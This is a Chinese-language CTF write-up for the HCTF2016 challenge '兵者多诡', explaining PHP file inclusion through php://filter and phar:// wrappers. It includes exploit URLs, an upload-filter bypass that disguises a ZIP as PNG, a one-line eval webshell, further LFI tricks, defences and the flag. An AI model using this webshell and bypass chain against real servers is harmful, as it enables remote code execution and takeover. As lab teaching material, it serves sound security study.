兵者多诡(HCTF2016)
字数 1696 2025-08-10 13:48:27
PHP文件包含漏洞利用教学文档
1. 漏洞背景
本教学基于HCTF2016的"兵者多诡"题目,涉及PHP文件包含漏洞的利用。题目环境可通过GitHub获取:CTFer_Zero_one
2. 漏洞简介
题目在home.php文件中存在一处include函数导致的文件包含漏洞,允许攻击者通过精心构造的输入包含任意文件。
关键特征:
- 文件包含点会自动添加
.php扩展名 - 上传功能限制只能上传PNG图片
- 需要结合PHP伪协议进行利用
3. 漏洞利用步骤
3.1 初步探测
首先尝试使用php://filter伪协议读取home.php源代码:
http://127.0.0.1:88/HCTF2016-LFI/home.php?fp=php://filter/read=convert.base64-encode/resource=home&imagekey=20de480b0e91ea1d67712e491fc2a72b66d782de
参数解析:
fp:文件包含参数php://filter/read=convert.base64-encode/resource=home:使用过滤器读取home文件内容并以base64编码输出imagekey:可能是验证参数,需要与上传文件匹配
3.2 文件上传限制绕过
由于上传功能限制只能上传PNG图片,但我们需要上传PHP webshell,可采用以下方法:
- 创建一个包含webshell的PHP文件
- 将该文件压缩为ZIP格式
- 将ZIP文件重命名为PNG扩展名(如
shell.png)
3.3 利用phar协议进行文件包含
上传图片马后,使用phar://协议进行文件包含:
http://127.0.0.1:88/HCTF2016-LFI/home.php?fp=phar://uploads/25b58d5902e9bb5b9a8569648a86d4dbe9d6d592.png/shell&imagekey=25b58d5902e9bb5b9a8569648a86d4dbe9d6d592
参数解析:
phar://uploads/...png/shell:解析PNG文件为PHAR归档并包含其中的shell文件imagekey必须与上传文件的哈希值匹配
4. PHP伪协议详解
4.1 php://filter
用于对数据流进行过滤处理,常用方式:
php://filter/read=convert.base64-encode/resource=filename:读取文件并base64编码输出php://filter/convert.iconv.utf-8.utf-16/resource=filename:字符编码转换
4.2 phar://
用于访问PHAR(PHP归档)文件中的内容:
phar://archive/path/to/file:访问归档中的特定文件- 支持ZIP格式的归档文件
4.3 zip://
类似phar协议,专门用于ZIP归档:
zip://archive.zip#path/to/file:访问ZIP中的文件- 需要URL编码#为%23
5. 完整攻击流程
-
准备webshell:创建包含恶意代码的PHP文件
<?php @eval($_POST['cmd']); ?> -
创建ZIP归档:将webshell压缩为ZIP文件
-
重命名文件:将ZIP文件改为PNG扩展名(如
shell.png) -
上传文件:通过上传功能提交伪装后的PNG文件
-
获取文件哈希:通过响应或抓包获取上传文件的哈希值(用作imagekey)
-
构造包含URL:
http://target/home.php?fp=phar://uploads/shell.png/webshell&imagekey=文件哈希 -
连接webshell:使用蚁剑等工具连接获取的webshell
6. 防御措施
- 禁用危险函数:禁用
include、require等危险函数或严格限制参数 - 白名单验证:对包含的文件路径实施白名单验证
- 禁用伪协议:在php.ini中禁用不必要的伪协议
allow_url_include = Off - 文件上传限制:
- 验证文件内容而不仅是扩展名
- 限制上传目录的脚本执行权限
- 日志监控:监控异常的文件包含请求
7. 扩展利用技巧
- 日志文件包含:如果包含点不添加扩展名,可尝试包含Apache/Nginx日志
- Session文件包含:通过污染Session数据实现代码执行
- /proc/self/environ:在某些配置下可包含环境变量
- 临时文件竞争:结合文件上传和临时文件包含
8. 总结
本案例展示了如何利用PHP文件包含漏洞结合伪协议绕过上传限制,最终获取服务器权限。关键在于:
- 识别自动添加扩展名的行为
- 利用压缩文件绕过上传限制
- 使用phar/zio协议解析压缩包中的恶意文件
- 保持请求参数的一致性(如imagekey)
最终Flag:hctf{Th1s_1s_e4sY_1s_n0T_1t?}